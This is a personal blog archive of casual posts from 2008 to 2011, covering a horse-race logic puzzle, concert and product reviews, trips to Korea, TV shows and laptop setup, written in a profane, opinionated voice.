With My Eyes

25 Horses, 5 lanes, no clock, top 5 (not 3)

2011-04-14T00:20:00.000-07:00

This is a logic problem I got from BruteForce.

The idea is that you have 25 horses, a 5 lane track, no timer, and want to find the fastest 5 horses. How many races can you do it in?

NOTE THAT THE ORIGINAL PROBLEM WANTED ALL 5 IN ORDER, AND THIS WAY JUST GIVES THE FASTEST 5 POSSIBLY OUT OF ORDER AND NEEDS A 9TH RACE TO ORDER THEM PROPERLY.

I stayed up all night once to come up with an 8, and thought i did, but in the morning realized that I had made a mistake. BruteForce found a description of a solution for 8. It was on the same track as me, but he didn't make the mistake I did. I take no credit.

Anyhow, here's the write-up so it's a little more visual and easier to parse than the text answer he found.

You start by running 6 races. 5 races let every horse run, and the 6th is the winner's race. You're left with:

Note that "1" is clearly the fastest horse, since he was never beaten, and we have some information about every horse relative to at least one other horse. We can also remove some as hopeless, since they're too far back along the known relative speed graph to possibly be in the top 5.

Let's remove those.

Now what? Well, if we want the top 3 in order we'd race 1.2, 1.3, 2, 2.2, and 3. That's 5 horses and the answer to the "top 3 in 7" problem. That's not what we want, though.

We're going to instead race 1.3, 2.2, 3, 3.2, and 4. Why? We know that at least one of 1.2 and 2 are in the top 5, and can figure that out based on the result of our race 7. Here's our race 7.

Let's take the easiest result case first. 3 and 4 are the top 2. 3 had to have beaten 4, since we knew it was already faster. 2 is therefore in the top 4 in second position, and the final horse is one of 1.2, 2.2, 3.2, 4.2, 5. That's 5 horses and we can just race them. Brown indicates horses to be in race 8.

Now let's look at a complicated result. 1.3 and 2.2 are the top 2, in that order. What do we know?

The key piece of information is that since 2.2 beat 3, 3 cannot be in the top 5. Why? For 3 to be in, 2 would have to be in, as well as 2.2. Both beat 3. But that also means, since 1.3 beat 2.2 that 1.2 is in there too. We ran out of places. The same logic rules out 2.3. Depending on the result of race 7, you might have to flip the graph but can then apply the same reasoning as it ends up being symmetrical.

So in this case, which is an example of the most complicated situations from race 7, ends up looking like this:

1.3 and 2.2 run again, and 1.2 doesn't need to run because it has to be in the finals anyhow. The top 3 from this race are in the top 5 with 1 and 1.2.

This was a much better problem than the "top 3" version.

Flame on!

2010-02-01T20:06:00.000-08:00

I'm sure this won't be controversial at all.

Mississippi vs Vermont, and everyone else

The standout seems to be Utah. Go Mormons!

RIP Professor Moody

2010-01-21T21:10:00.000-08:00

Nothing more to say about this, just that Professor Moody is no longer alive.

RIP

Grinching TSO

2009-12-04T17:51:00.000-08:00

This is going to be a bunch of bitching, but it gets nicer at the end.

So last night we went to the Trans Siberian Orchestra Christmas concert at the Honda Center in Anaheim. I guess it's where the Ducks play, but I've never been there for any reason in the past. I shall never go there again, since even Cindy can't fit comfortably in the seats. You can imagine how ridiculous it was for me. Imagine the middle seat on an airplane if there were a wall where you typically put your feet under the seat in front of you. It's actually painful to sit there.

The concert started late, and they quickly informed us to stay until the end for a special treat that would only be happening in LA. I was wondering why they'd need to encourage people to stay when the show started.

For over an hour they played crappy Christmas music interspersed with someone telling a boring story about a bar and vodka in rhymed verse. By rhymed verse I mean that someone swapped out words from "How the Grinch Stole Christmas" and used the same meter. Instead of whoville we have a bar, too bad the writer wasn't hit by a car.

Anyhow, this all pretty much sucked with perhaps one decent song. I'm typically amazed at live music performances, since it's something that I can't do. Not this time, as at least half of the parts could be learned by a 10 year old in a week - assuming that they hadn't ever played before. A few hours if they had any experience at all. The hardest thing for them to learn would be the incessant head-banging/hair twirling that seemed to be the primary job requirement. Think "The Exorcist," but the heads spin more quickly, and the vomit is coming out of the instruments (except in the case of the singers).

But the simplicity and spinning heads of it wasn't the worst part. That's reserved for the constant applause whoring that the performers were carrying out. They'd randomly hold crappy notes for way too long and then do the "gimme some cheers" hand gesture to get people to acknowledge their misplaced feat. Even if they were as good as they seemed to think they were, I would have still been annoyed after an hour of that crap. Sustains that weren't meant to be are more annoying than a screaming baby.

So this stuff finally ends. Hardly anyone actually walked out yet, and they decided to have a sort of awards show for the members of the group. "Let's have a round of applause for the Orson Welles, nay James Earl Jones of our generation, the guy who wouldn't shut the fuck up between the songs!" And the crowd roared. And they roared for all of the performers in due time as they were so slowly announced.

So after this mini ceremony, the show actually got decent. Not great, but at least listenable. They played some new non-christmas stuff that sounded neat, and then played the famous songs that they're known for. There was far less speaking and singing during this "better" part of the show. If you ever buy one of their CDs to hear one of the neat songs (like Wizards in Winter, or something) and hear some random crappy singing on a track after or before the one you're wanting to listen to, realize that that is most of their music and that the cool songs are the outliers.

So anyhow, after a while of this better concert the owner comes out and says that our treat is ready for us. By now at least 10% of the people had walked out in disgust, so they missed out on the best part of the evening. Joe Walsh was there to play a few songs (obviously "Life's Been Good to Me So Far" or whatever it's called). He was definitely the best performer (despite being 62 or so) and I had more fun in his 15-20 minutes than in the rest of the concert combined. I felt that in a way I got my money's worth since he did so well.

Walking out, we heard others echoing our sentiments that the show definitely got better as the night went on, but it was about an hour and a half too long - the first hour and a half. As was told to Amadeus in the 1984 Best Picture of the same name: "Too many notes. Cut a few and it'll be perfect."

"Which few, your majesty?"

"The first 15,934."

But there was one man who loved the show, and he was sitting directly to my right. He was clapping in time with the music, and at one point he and I shared a moment together as only we were clapping. Later, he began slapping his hand against the cup holder to let us know how much he still liked it. Note that the cup holder is connected to the arm rest, and the arm rest is connected to his chair, and every fucking chair is connected to every other chair in the row. I looked at Cindy as we were shaken by quarter notes at 140bpm and she whispered "just let him have fun and enjoy it" to me while smiling at the atrocity we were stuck witnessing.

The only show that I liked less than this one so far in my life was some crappy art show in Laguna where actors posed to reenact famous paintings. By famous, I mean that if you looked them up you could figure out what they are but you'd never have heard of them otherwise. That's how famous these were.

Cindy is going to be concentrating more on the absurd "Hark! the Herald Angels Sing" dramatic reading (I can't call it a song) that one of the singers chose to attack our ears and sensibilities with.

Been a long time

2009-08-01T01:12:00.000-07:00

So in the last month or so I've been pretty busy with next to nothing to blog about. The biggest change that I've made is that I bought a motorcycle. It's one of those things that is nowhere near as dangerous as the stats make it out to be due to the activity attracting maniac retards who end up killing themselves. The biggest things to worry about are intersections and traffic moving in other directions.

Anyhow, it's fun as all hell. I got an Aprilia SL 750 Shiver, mainly because it was one of 3 bikes that felt right when I sat on them. The other 2 options had a lot more power, and a 750 seemed "weak" enough to both learn on and to be powerful enough even in the future after I feel more comfortable with my riding. The other 2 options were also 4 and 9 thousand dollars more, which was also part of the decision making process.

The computer controls the throttle, and there are 3 modes. Rain, Touring, and Sport. I spent several days in Rain mode getting comfortable since the throttle is nerfed. I've now upgraded myself to Touring mode, and I doubt I'll ever use Sport mode except on track days. I tried it for about 30 seconds and went back to Touring mode. It turns the bike into a rocket.

It's pretty damn relaxing to be out there riding on empty roads. I always hated automatic cars since I feel like I have absolutely no control over what the engine and transmission are doing. A motorcycle is always a manual, plus the way you handle it is far more immersive. Plus you're right there in the wind, zipping along and loving every minute of it.

My goal now is to become a decent rider, and after that I'll try to get good, and then better than that. At the same time I'm hoping to demonstrate that it's really not that hard to be safe on a bike and avoid death - just don't be a retard, and actually work at getting good with handling it.

Denny's and special menus

2009-06-22T20:20:00.001-07:00

So I took a nap today and got up at 10:30. Denny's is always open so I
went there and they handed me the special limited after 10 menu.

When I asked for a salad the guy looked at me like I was a retard and
said that it's after 10 so there is no salad.

Why would you have a special late night menu if it weren't calibrated
with what you actually serve anyhow?

The Phantom

2009-06-10T07:21:00.000-07:00

So apparently Phantom Entertainment finally got the initial (small) shipment of lapboards from China.

Look for them next month, and buy thousands of them.

Brandon Sanderson

2009-06-09T23:54:00.000-07:00

This guy is the author who was picked to finish off the Wheel of Time series since Robert Jordan died (amyloidosis took him out).

Anyhow, the reason I'm posting is because he's just published a book that is also available as a free download. It's called Warbreaker, and I haven't read it yet.

I think it's awesome that he offers the book for free, and was still able to get a publishing deal out of it.

As a guy he seems awesome. I wrote him a while back about some random stuff relating to his books and he replied within a few days with a longish e-mail that made it clear that he read my message. He's super involved with his readers and still finds time to write his ass off. He's a solid writer, and has some fairly interesting magic systems (it's all epic fantasy, so if you don't like that genre then it's not for you). He shows his morality by having scantily clad women running around instead of full on naked ones.

I actually pirated every book he's written, read a bunch of them, and one weekend I went to a bookstore and bought copies of every book of his that they had in stock (they didn't have them all, but whatever). Why? Because I wanted to support an author who is both "in tune" with the new way of doing things (internet, making digital copies available for free since they end up pirated anyhow) and also a genuinely nice "geek" who actually interacts with his readers.

Anyhow, the book is available for purchase via most outlets if you like that sort of thing, don't like reading on a computer or digital device, or like to support ideas like the ones that this guy represents. He'll get pretty rich no matter what you do (there's no way that he's not going to get some cut of his WoT contributions, and those will sell like mad), but I personally like to vote with my dollars and "invest" them in ideas and ways of doing things that I think are awesome. Feel free to google for him to find his blog or whatever. I think he has a twitter too.

Korea Update

2009-05-24T02:25:00.000-07:00

So last night I went out with some of the people in my classes, and it was pretty entertaining. We went someplace called hong dae (sp?), and I drank a lot but did not get drunk.

Random things I noticed:

No rae bangs with glass windows on them, so people on the outside can see in

Cafes with the same sort of setup

Do not touch the cotton candy guy's dog. Go away! I did not try to touch said dog, but someone else in the party did

I suck balls at darts

One of the FinKL girls grew up to be a Soju model. There's my contribution to the universe of "where are they now" updates. I highly doubt that anyone who reads this ever heard of FinKL, but that's OK.

Saw a band playing Hanson songs in a park with people dressed for "Happy Days" dancing around in a park. It was actually really neat.

It was a good time, though I don't think I'd do it again. I felt like I was watching a movie of a past life or something.

Stupid interwebs

2009-05-19T10:18:00.000-07:00

So there's this thing that your browser sends along to web sites to let them know what language you speak. It's called a language code. The one that mine sends is "en-us," and not the "ko" that they should be looking for to ship people content in korean.

Google and Youtube completely ignore this useful string and assume that because I'm hitting their sites from Korea that I can somehow speak Korean. Google is better in that since I have an iGoogle page I can actually search for things and not get gibberish in return. Youtube shows me several recommended videos in Korean every time I go to my home page there, so that's pretty much retarded. Do no people travel around the world? I don't get it. Someone, somewhere, is stupid. Maybe they thought that they'd help me out in case I didn't know how to set my language code. Thanks, morons.

That could actually be related to some advertising scheme. Hell, maybe there are videos there that aren't OK to play in Korea due to some ridiculous copyright restrictions.

Yay copyright. Copyright is basically saying that it's trivially easy to do something these days (make copies of things) so you'd better make laws to protect people having their work duplicated. It's on par with making calculators illegal to protect jobs for people who are good at math. Long term it will disappear, and people in the future will have a hard time understanding how stupid some people could have been. Pretty much every argument in favor of it presents the dubious claim of it being an incentive for innovation (you can sell what you made for a certain amount of time exclusively), or tries to frame it as "how would you feel if you never got compensated for your work?"

The first is bullshit because people would be forced to innovate even more (just in different ways), and the second is bullshit because any viewpoint that relies on you having been injured personally or imagining that to be so is an irrational and emotional response - not a good way to determine policy.

To every phone company: fuck you.

2009-05-17T11:02:00.000-07:00

I started getting pissed about this a while back when I heard about "expiring minutes." If you didn't use something that you paid for, you would just get it taken away by the person that sold it to you. They turned making phone calls into a sort of option buying exercise with expiration. It's one of those ridiculous things that I can't comprehend people accepting, but since a critical number did every other company followed suit.

So I'm in Korea. I only need to use Skype when I'm in Korea, since it allows me to call the US for 2 cents per minute. A while back I put $12 on there and it's been lasting me ever since. I still had $8.41 cents left last time I checked, and now that I'm in Korea I tried to make a call to the US. My balance was zero. I checked my history, and they decided to expire my balance in February. Apparently there is a policy that your money is only good for... a year and 6 days after a currency exchange? It's either that, or 16 months and 22 days after you put it in there.

I'm not mad about the money. I'm mad about the inconvenience. I effectively paid about 4 times as much as they advertise since I had the rest of my money arbitrarily stolen from me, but it's still cheaper than the phone companies for international calls. Since I'm in a foreign country, they won't even let me add money with a credit card so I had to inconvenience a friend to send me money on paypal.

Like, I didn't buy minutes from Skype. I deposited money with them for future use, allowing them to garner whatever interest that money allowed them to get instead of leaving it in my own accounts. It's only 8 fucking dollars, but it's the principle. I'm back to realizing that every single phone company is a piece of shit run by con artists. Don't even get me started on charging for SMS.

Korea Update

2009-05-17T04:03:00.000-07:00

Back to Korea for work. Staying in a new place this time instead of one of the 2 places I already knew. Took some notes on my iPhone (using airplane mode all the time just so I have a pip-boy) while I was exploring and trying to figure out the best way to get where I need to go tomorrow.

Do not get off the train at Yongsan Station unless you want Electronics or a prostitute. I figured that it should be relatively close to where I need to be (the military base) and was the closest stop on my line. I was confronted with a street of hookers behind glass doors. I'll say that they had better bodies than typical koreans, but I'd rate them a poo out of 10.

A lot of people wanted to talk to me today, apparently. Talking "at" me is more like it, but that's OK. Probably 15 people made comments to me at various times, and 3 people said that I was very beautiful. Their word. I don't think that they know other words for "good looking," since one of the 3 was an old man (2 others were typical girls - no they were not prostitutes). This was 3 distinct encounters on different subways. Every person commented on my height, and maybe 8 commented on my build (wide shoulders).

I would not stay at this hotel again. The room is fine, but for some reason my throat keeps randomly getting itchy so I think there's something in the air. This is a fairly industrial area. I'd actually stay closer to Seoul Station next time since that's kind of like a hub and not super far from anything that I give a crap about seeing.

Anyhow, go Korea. For some reason I'm not liking this place as much as I did the last 2 times I was here. I don't know if it's just the area I'm in, or if I'm finally sick of it. People get sick of everything, and I think I'm probably sick of Korea. It's tiring to have to spend a while walking around to find a restaurant with nice pictures up of the food so I can point to what I want to eat. I should try Outback. I wonder how similar it is to the same place in the US? All of these korean barbecue places are the same, and I can't try random stuff since peanuts are in a lot of stuff.

OK time to get a little work done and then get to bed. I'm tired. I think I walked about 12 miles today (seriously). My dogs are barking, and if they had a place here that sold comfortable walking shoes in my size I would buy them. I think my driving shoes are dead. They did their job for a few years, but now they just hurt. It's almost worse than walking barefoot. Their replacements are too dressy (and uncomfortable) to use for daily wear. I ordered some shoes online, but I won't get them for another few weeks (when I make it back to Vegas).

Religulous

2009-05-04T11:28:00.001-07:00

So I finally watched this Bill Maher documentary about religion, and it got me thinking. No, there's nothing earth shattering that they "reveal" in it, it's just pure entertainment.

The thing that it got me thinking about is the replication of the Horus story (from egyptian lore) with new names as the foundation for christianity. A couple people that I talked to had never heard about that, so here's a summary: Jesus' story is the same as Horus'. Horus' came first (by a long long time). Some characters even have the same names.

So anyhow, in this documentary Bill finds a bunch of people who are affiliated in kinda powerful positions in various churches, and asks them about this stuff. Nobody offered any sort of rebuttal. "So isn't it weird that the Jesus story is the same as the Horus story?" "Who is Horus." It ended up making the religious people look ignorant and nothing more. This could very well be true, as many people believe without really knowing what it is that they believe in aside from a high level concept like "good" or "evil."

Anyhow, I would have liked to see a legit answer to this question. Maybe:

"Gee, that's a hell of a coincidence."

"It's a cycle, and ours began anew with Jesus right around the time when Egypt faced their own apocalypse."

"That's just a big lie like those dinosaur bones that God put there to throw us off and make them look really old."

Any sort of answer would have been better than the ignorance expressed. What I was left with was looking at a train wreck but seeing nothing that shows why the wreck occurred or any data about the wreck itself.

Hooray for the DMV

2009-05-04T10:09:00.000-07:00

So Nevada randomly changed a law this year so that I have to wait for my new license to be mailed to me in 7-10 days. I purposely got it early because I travel a lot for work and find myself in random places, and in 3 months when it's my birthday I didn't want to have it expire while I'm on the road.

Anyhow, I'm not even sure why there would be a "law" regarding this at all, as it seems to be more of a policy that an agency would abide by, but maybe it's some bullshit terrorist screening thing.

My hope is that the people at the gates on military bases (where I do some work) won't notice the hole they punched in the middle of my "old" license (the piece of paper they handed me as an interim is not valid photo ID), or else I'll be unable to do any projects until it comes.

Now, 10+ years ago it was common to have a license mailed to you, but when they changed that a while back I wouldn't have expected them to go backward for no apparent reason. If I had an inkling that they'd revert a policy in such a way that it would do nothing but inconvenience people, I'd have looked into it before going through the process at this time.

Little annoyances like this (big to me, but I'm an outlier) make me wonder why everyone isn't a libertarian anarchist.

Battlestar Galactica

2009-03-30T09:21:00.000-07:00

I'm midway through season 2, and figured I'd share some comments just far.

1. The writers seem to be attempting to comment on every single social situation in the last 100 years, but I think the overarching premise is going to be "racism is bad."

2. I like the acting and a lot of the characters. It's certainly not Firefly, but still worth watching thus far.

3. Grace Park is perfect for television. She looks "meh" at first sight and gets hotter over time. This is in contrast to the cylon in Baltar's head who runs the opposite course.

4. So that's where Ensign Ro's been for the last 10 years. Hello Admiral.

5. Between this and Blade Runner, I'd like to give Mr. Olmos some sort of "thanks for doing sci fi" award. The same goes for McDonnell and Sneakers.

6. Here's to hoping that the writers stop going down this course of crap plots (the last couple sucked). They already did whatever it is they were going to do, so I suppose I just have to wait and find out.

7. I looked on IMDB because I had forgotten the name of the doctor on Deep Space Nine that is playing Baltar. I was absolutely shocked to discover that it's not the same person. Good work, Deep Space Nine Guy, despite not being from DS9.

So say we all

2009-03-19T18:19:00.001-07:00

I haven't ever seen Battlestar Galactica (the new series) but I've read the novelization. Anyhow, I thought that this was pretty awesome. I'm not a fan of race or culture bullshit. People are people, and we're all people.

Anyhow, the cast got to speak to some students at the UN building and this is what Adama had to say: So say we all

So says me too.

Please Excuse My Dear Aunt Sally

2009-03-12T20:29:00.001-07:00

and TEACH ME THE PROPER ORDER OF OPERATIONS.

So I never heard of this mnemonic until today when a math teacher buddy of mine shared it.

I had decided to teach my niece about order of operations, seeing as how she said "Hours of operation?" when I asked her if she had heard of it.

Anyhow, I came to a problem when I realized that 3÷3*3 is either 1/3 or 3, depending on which operation you do first. I was like "damn, is there a rule for that?"

Like, in practice it never comes up since you likely won't see a division sign in college and the fractions make the division completely obvious as to when it happens.

Anyhow, I looked it up, and with a chain of division and multiplication you just do it left to right. That's fine, it makes sense. Cool.

Then my math teacher buddy gets back with the "Please Excuse My Dear Aunt Sally" mnemonic, and I was like "wtf that's wrong." And then he pointed out that you then have to say that multiplication and division are the same (my feeling as well) and subtraction and addition are the same (agreement here), and in those cases you just do it left to right.

Anyhow, I think that this mnemonic is retarded since there are only 4 classes of things and that's trivial to remember anyhow. Parens, exponents, multiplication, and addition are all we need to talk about. PEMA. Please Excuse My Aunt, if anything. Then Equivalent operations are done left to right, and multiplication is equivalent to division, which is not tough to explain since it's just a multiplication by the inverse, and subtraction is the same as addition - just adding a negative.

PEMA forever.

Teh 31337

2009-03-10T17:01:00.001-07:00

So a buddy of mine was pasting me some AH action on AAPL stock (I have some shares), and I noticed something in the numbers:

18:11 $ 88.63 31,337

Someone either bought or sold about $2.75MM of Apple stock. Based on the feed I can't tell for sure which side dictated the 31337 share count, so I don't know how 31337 this guy really was, but either way it's the 31337est thing I've seen in a long time.

Update: My buddy blogged it too

A rose by any other name

2009-02-28T01:42:00.000-08:00

I've been following the Pirate Bay trial pretty closely, as I am of the opinion that it is important for the near future of the world. Long term there is no way to prevent it so laws will only be a temporary barrier to it happening anyhow, but I'd be much more content with the nature of the present world if the Pirate Bay won this round.

Anyhow, Roger Wallis was apparently berated on the stand (he was a witness for the defense) by the prosecution's attorneys, and there was even a recess for everyone to "calm down." After he was done, the judge asked him if there was anything he could do for him. "You could send some flowers to my wife" was the reply.

Now, I'm not the only person following this trial. Many around the world understand the importance, and are following even more intently than I am. Anyhow, here's a list of who has sent flowers so far.

Things like this make me smile. This lets me know that there is some good in the world.

A Blank Slate once more

2009-02-28T00:29:00.000-08:00

So you probably never heard of the game Tabula Rasa, as it's an MMO called something other than World of Warcraft.

Don't worry, hardly anyone else ever heard of it either, despite it being marketed by Lord British himself (Richard Garriott, Ultima), which is why it's shutting down tomorrow night. Nobody played. Hell, Garriott even went into space as a sort of publicity stunt for the game. Still nobody played. You can't beat Blizzard.

Anyhow, the only reason I bring this up is that instead of just quietly shutting down the servers and telling subscribers to fuck off, they haven't been charging them to play for the last 3 or 4 months. They just ran it free of monthly fees, as everyone knew that it was dying. And well, at 8 pm tomorrow (4 hours before the servers quiesce), they've invited everyone to the last battle. Every player in the world will be part of it, and it'll apparently be epic in scope, as a sort of "goodbye" to the (apparently small) player base.

Details can be found here.

I don't know. I guess I'm a sucker for sentimentality, and this reeks of it. I'd at least try out any project that this team was responsible for in the future, as I like how they handled this a great deal. Sometimes you learn more about people by how they handle failure than how well they win, and if I knew what I know now about this team, I'd have played the game even if it sucked, which it probably does.

RIP Tabula Rasa.

Twitter

2009-02-04T06:31:00.001-08:00

So I decided to start using twitter since I found an iphone application to take voice dictation. If you know my e-mail address then feel free to follow me on that.

I'm posting this from my computer in one of my 10 minute windows where the internet at my hotel actually works.

Holiday Inn has terrible internet access so I wouldn't stay there based on their claim of Free Wifi. The company that handles it is horrible and unreliable at the last 4 locations that I stayed in.

PS3 review

2009-01-21T16:39:00.000-08:00

I wrote this up a while back, and wouldn't change anything so here it is.

After having had a PS3 for a whopping 4 days now, I figure I'm qualified to rant a little bit about the system.

The Good:

Clean clean picture
Quiet
Solid Blu-Ray player
I can swap in my own larger HD if desired without it needing to be a specially branded one
They even give me a menu option to ease installation of a different OS, and I don't even have to imagine a beowulf cluster of them if I feel like setting one up

The Bad:

Placement of the "P" button (to bring up the system menu) was determined by a retard. Everyone that's played our system hits it by accident every 5-10 minutes (or more in SSF2HDREMIX), which is a huge pain in the ass.
Don't even bother with the Blu-Ray remote. I screwed up and bought it since it's only like $20 anyhow, but when it's going to be a one use device (can't even control a TV as far as I can tell) that one use device may as well be one of the controllers that need to be there anyhow.

The Meh:

If it detects a keyboard it would be neat if it were smart enough to allow merely tabbing between fields of data that you're trying to enter, instead of forcing an additional "enter" press to pull up the "put info into this field" interface.
LittleBigPlanet is entertaining, but it's annoying that the best parts of the game are the mini-game race things and not the game itself (which just ends up being monotonous).
Also in LBP there are little lag jumps at the beginning of some levels. Right after you go through the gate on the Skulldozer thing there's a little pause and then it corrects for the rest of the level. Put some more RAM in these machines or something (you're already losing money on them, gimme another gig or 2 of RAM) so that there doesn't have to be that sort of hiccup.

Anyhow, I have a Wii and the PS3 now, and one reason I never bought a 360 is that every single one I've played has been unusably loud. For reference, I can barely think right now because we're at my GF's sister's place and they have a fish tank bubbling or whatever it is that fish tanks do and it feels like someone is shattering glass. If I had guitar hero for the PS3 the Wii probably wouldn't get turned on again.

The other reason I never bought a 360 is the absurd failure rate and I'm not a fan of supporting manufacturers that sell such shoddy machinery.

Firefly

2009-01-07T04:12:00.000-08:00

I can't think of anything bad to say about this series, aside from wishing that there was more, and that the River backstory could have unfolded in due time instead of all at once. I'd also like to see Inara naked (my GF even thinks she's hot). Hell, River too - she has that Fifth Element weirdo ninja quality about her to make up for whatever making up they did to have her look screwed up. Great character - she's Wolverine, Dr. Xavier, Snake Eyes, Carrie, John Nash, Robocop, and Tetsuo rolled into one.

They paid homage to so many great series' of the past that I don't know where to begin, the dialogue was very good, and the acting was good enough that I was sucked into watching the entire thing over 2 days while working at the same time.

A++

Carpe Diem

2009-01-06T07:52:00.000-08:00

This post is about things that I would have liked to do at some point in my life, and now will never get to do. Putting things off is fine and all, but sometimes you push them back a little too far and they're gone.

See a George Carlin show
I teach a class every month at the Orleans in Vegas, and he was performing there fairly regularly for a while. Seeing him was something that I'd wanted to do, but never got around to it. Last year he died, and now I never will.

Go to Macworld and watch the Jobs Keynote
This month I found out that Apple is pulling out of Macworld, and Jobs isn't even giving this final Keynote so a last minute plane ride to get out there and some fake press credentials won't do me much good anyhow.

Go to the Star Trek Experience thing in Vegas at the Hilton
They closed it a few months back for good, and I was always meaning to check it out. Not anymore.

Go bowling with my dad
My dad hates bowling, but is a pretty solid bowler. Once I called bullshit when he was trying to give me bowling advice citing his lack of bowling ability (I had never seen him bowl) and he picked up a house ball, rented some shoes, and rolled a 211 on an adjoining lane. Last year he got his right arm crushed by a truck, and while it's as healed as it's going to get, he won't be bowling ever again.

This is it for now, but as things pop up I'll add some posts about things that I missed the boat on. Perhaps it'll encourage some people to do some things that they've been meaning to do "some time."

I went through the fire and flames

2008-12-10T18:25:00.000-08:00

If you aren't a guitar hero player, then this probably won't mean a lot to you. If you've ever played the game at all, then you already understand how ridiculous this song is. If you already beat Jordan in GH2 before playing GH3, then it wasn't so bad for you. If you have Guitar Hero 3 and have not yet done so, go to quickplay and try to play Through the Fire and Flames on expert. You will probably laugh at how absurd the beginning of the song is.

Backstory: I had about 20 expert FCs (full combo - no misses or overstrums) in the game, and had never even passed Raining Blood. Then I passed that one, and even 4*ed it. After about 4 more months of learning enough of this song, I finally eked out a pass. Actual practice time on this single song (note that I was already better than the vast majority of guitar hero players, judging by my FC count) was probably around 150 hours. This is counting 40+ hours of learning to tap (use 2 hands and just never miss since they're hammer-ons) the intro before I could do it, and then more time than that figuring out the rest of the song and doing multiple playthroughs.

Here is an old video of me failing right at the tough part that was my nemesis forever

Here is a video of the best score yet on the song (there are 2 other full combos)

Anyhow, here is my proof, and I'm a moron for not filming this run, but I didn't think I'd pass because I hadn't played in a week.

Station

2008-12-03T10:49:00.001-08:00

Station!

YouTube Live

2008-11-22T19:41:00.000-08:00

I just watched this with my niece, and thought that it was super cool. You should be able to find what I'm talking about since they'll be posting the video at some point tonight. Some of it was embarrassingly bad (fake russian accent from MC Hammer's interviewer), but some was really neat.

To me, the highlight was Joe Satriani playing with funtwo. They both seemed genuinely happy to be there, and while it had to be super cool for the kid to play with Satriani, Joe kinda took the back seat and let him shine. And funtwo took the hat off. Freddie Wong should have broken that GHWT guitar at the end of his lead-in to their performance, but he was entertaining too.

Here's the video from the event: Satriani & funtwo

I like a world where everyone has a TV station so there's no barrier to entry. Screw network television, and go YouTube.

Defective product lines

2008-10-26T12:07:00.001-07:00

I decided to compile a list of products and companies that seem to keep selling, but the products either don't actually do anything or they break constantly. I'm not complaining about random products that I've had that have broken, but instead about entire classes of products that never work so matter who seems to have created them.

The XBOX 360 is kind of on the right track, since virtually every 360 was defective. It counts for this, though I am thinking more along the lines of "diet pills" or other things that inexplicably sell time and again despite doing absolutely nothing, no matter who you bought them from.

Cindy bought a Belkin 7 port usb hub (F5U307) for her desk, and within a week it didn't work anymore. After calling support, she found out that she wasn't actually supposed to use all 7 ports because it'll fry the board, and that it also can't handle devices powered over USB being plugged into it. They sent her a new one, and by not actually using it it hasn't caused any more problems.

Let's have a big "fuck you Belkin, you peddlers of worthless shit" for this fine corporation.

Next up on the list is too extensive a list to do justice, but I want to call out about 90% of the manufacturers of wireless routers. They just do not actually do anything. They lock up constantly, require hourly/daily/weekly restarts, and this is after putting new firmware into them to get them to do anything at all. The best success I've had so far has been with Apple's Time Capsules and Airport Extremes, but every "more pricey" Netgear or Linksys router that I've attempted to make use of has left me bitterly disappointed and without a wireless network in operation. Power cycling like this is similar to buying a car that randomly just stops and needs to be restarted every so often for no good reason.

So, fuck you wireless networking device manufacturers. I hope that you all go out of business and that everyone responsible for these absurdly poor products becomes homeless. Belkin also makes and sells wireless routers, and are one of the biggest offenders here as well.

Lastly (for now) I want to offer up every single company that makes one of those USB connectors that can wind up into a spiral. If you don't know what I'm talking about, there's a spring loaded reel in the middle of a plastic case, and it holds a flat usb cable. This seems like a solid idea because when you're using it you extend the cable as needed, and afterward, it'll spring back like a seat belt after a little tug. This would be fine and dandy if it actually worked. I have never been able to have one last for more than a few days, and then there would be disk read errors or transfer errors from cameras.

The 2 companies that I've seen with this product that never actually works are Dynex (the Best Buy brand, I guess) and Belkin. I do not think it's even possible to get a working version of this thing. I hate USB as much as the next guy, and think that the current state we're in with most every device employing it is a terrible thing, but for fuck's sake can we please at least get some connectors that actually work?

What has this taught me? Well, if Belkin sells a certain type of product, there is a decent chance that not only will it not work if bought from them, but that if you buy a similar product from another manufacturer it probably won't work either. I suppose it's almost like saying that everything they touch turns to shit.

New Macbook Pro and Bandluxe 3.5g Expresscard

2008-10-22T10:14:00.000-07:00

So I got a new laptop, I've been postponing this purchase in hopes of an 8 GB laptop from Apple for several months now. For a typical user 8 GB is beyond overkill, but when you're on the road and need to do a lot of virtualization in presentations it would be very helpful to have at least 4, and since I don't want to buy a computer every 9 months I'd rather go overboard for something that'll last an extra year or so.

Anyhow, the Macbook Pro refresh was just enough to entice me, and I'll list the reasons for choosing the Pro over the new aluminum Macbook (which can also take 4 GB of RAM).

1. Firewire. I like target mode and having it on my old Macbook. My migration only took about 3 hours, where in the past I'd spend weeks configuring a new system. It took 90 minutes to copy everything over, and another 90 minutes to download and reinstall 2 crucial things that broke (FUSE and VMWare).

2. Pixels. It might not seem like a lot to some people, but having 1440x900 resolution instead of 1280x800 is a huge productivity boon, at least for me. There is less overlap.

3. Video card. To save on battery juice I have thus far run this machine only in "integrated graphics" mode, which likely gives the same performance for what I do 90% of the time as "dedicated" graphics does. However, I like having the option to play games without them lagging unplayably when connected to an external display.

4. Price. $2500 seems like a lot for a laptop, but if you configure a Dell with the same level hardware (1066 Mhz bus, DDR3 RAM, same hard drive, and so on) you come out with only about $400 of savings. I saved well over $400 worth of my time with the 3 hour migration, and plus I get the new sexy aluminum shell.

5. Expresscard/34. This slot is compatible with any number of wireless broadband cards on the market, including one that a buddy of mine has. There are other workarounds (tethering, and so on), but I like the options that the slot provides. More on this later.

Anyhow, I only got 4 GB of RAM and the machine won't even support 8, but the listed reasons were enough reason for me to dump the cash. I'll buy another one when they make the next RAM jump unless I'm in a new line of work.

OK, it's later. The Expresscard in question is a Bandluxe 3.5G model, and I'm using it right now to make this post. It obviously works, but it's a pain in the ass. Why? Well, the card has a very "convenient" feature where it contains a CDFS file system that its software incessantly tries to mount. I'll go out on a limb and wager that they never even tested this version of their connection software on the mac, since macs can't mount CDFS file systems whose sessions have not been closed. I don't even need anything on that volume, but it keeps trying to mount it for some SMS integration thing.

The only way I can use this card without it popping up a billion dialogs (several per second) saying that it can't mount the volume is to run disk utility and minimize it. That, for whatever reason, suppresses the dialogs.

This is partly Apple's fault for incorporating a focus-stealing dialog into Finder that could ever present a problem like this (I hate focus stealing), and partly the vendor's fault for either not testing their device or for not caring. It seems like Mac support would be becoming a bigger issue for companies of mobile devices since Apple sells more laptops than anyone, but I guess you can't teach people who have been writing code for Windows new tricks overnight.

Anyhow, if anyone has a better fix for this error barrage (The disk you inserted was not readable by this computer), please share. I just want to ignore this specific error at all times and have it not prompt me.

Still working on it

2008-09-20T08:26:00.001-07:00

